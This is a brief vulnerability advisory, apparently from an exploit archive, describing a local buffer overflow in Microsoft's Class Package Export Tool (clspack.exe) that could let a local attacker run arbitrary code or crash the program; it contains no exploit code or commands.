Microsoft Class Package Export Tool 5.0.2752 - 'Clspack.exe' Local Buffer Overflow

source: http://www.securityfocus.com/bid/20561/info

Microsoft Class Package Export Tool ('clspack.exe') is prone to a local buffer-overflow vulnerability because the application fails to properly size attacker-supplied data before copying it into an insuficiently sized memory buffer.

Exploiting this issue allows local attackers to execute arbitrary machine code in the context of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.
